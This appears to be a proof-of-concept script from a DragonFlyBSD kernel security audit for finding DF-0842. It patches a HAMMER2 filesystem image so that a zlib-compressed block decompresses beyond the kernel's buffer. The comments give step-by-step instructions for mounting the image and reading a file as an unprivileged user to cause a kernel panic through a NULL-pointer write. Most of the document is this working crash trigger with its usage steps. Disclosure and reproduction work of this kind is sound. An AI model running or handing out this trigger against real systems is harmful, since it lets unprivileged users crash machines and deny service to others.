DragonFlyBSD Kernel Audit
DF-0842 / make_crafted_image.py
← back to finding ↓ download raw
#!/usr/bin/env python3
# DF-0842 -- real-image trigger generator.
#
# Builds a crafted HAMMER2 filesystem image in which a ZLIB-compressed data
# block decompresses to MORE than the kernel's per-block output buffer
# (HAMMER2_PBUFSIZE = 16384).  On read, hammer2_strategy.c:257 calls
# inflate(&strm, Z_FINISH); inflate fills avail_out, then exits via inf_leave
# in MATCH/LIT mode (< CHECK) with output produced -- the inf_leave guard at
# hammer2_zlib_inflate.c:1018-1019 calls updatewindow(), which zmemcpy()s
# through state->window == NULL -> fatal page fault at VA=0x0.
#
# The DATA blockref is created with check=none (hammer2 setcheck none), so the
# corrupted block content is never CRC-rejected; only the data bytes change.
#
# Usage (on a host with python3):
#   1. guest: create base image w/ setcomp zlib + setcheck none, write a file
#      (see evidence pack / real-trigger steps in VERDICT.md).
#   2. host:  python3 make_crafted_image.py <base.img> <out.img>
#   3. guest: vnconfig + mount out.img; cat the file as unprivileged user ->
#             kernel panic (fatal trap 12, fault VA = 0x0).
#
# Reproduces DF-0842: "Missing sliding-window allocation in inflate
# updatewindow()".

import sys, struct, zlib

BLOCK_OFF = 0x01c00000   # data block offset in the sample base image
BLOCK_SZ  = 1024         # radix 10 (1<<10) block holding the zlib stream

def patch(base, out):
    img = bytearray(open(base, "rb").read())
    # A zlib stream that decompresses to 200 KB >> avail_out (16384), but
    # compresses to ~218 bytes (fits the 1024-byte block).  inflate will fill
    # the output buffer and exit via inf_leave in MATCH/LIT (< CHECK).
    stream = zlib.compress(b"A" * 200000, 9)
    assert len(stream) <= BLOCK_SZ, len(stream)
    block = stream + b"\x00" * (BLOCK_SZ - len(stream))
    print("[*] base block head:", img[BLOCK_OFF:BLOCK_OFF+4].hex())
    img[BLOCK_OFF:BLOCK_OFF+BLOCK_SZ] = block
    open(out, "wb").write(img)
    print("[*] crafted image written:", out)
    print("[*] new block head     :", img[BLOCK_OFF:BLOCK_OFF+16].hex())
    print("[*] stream decompresses to 200000 bytes (> avail_out 16384)")

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("usage: %s <base.img> <out.img>" % sys.argv[0])
        sys.exit(1)
    patch(sys.argv[1], sys.argv[2])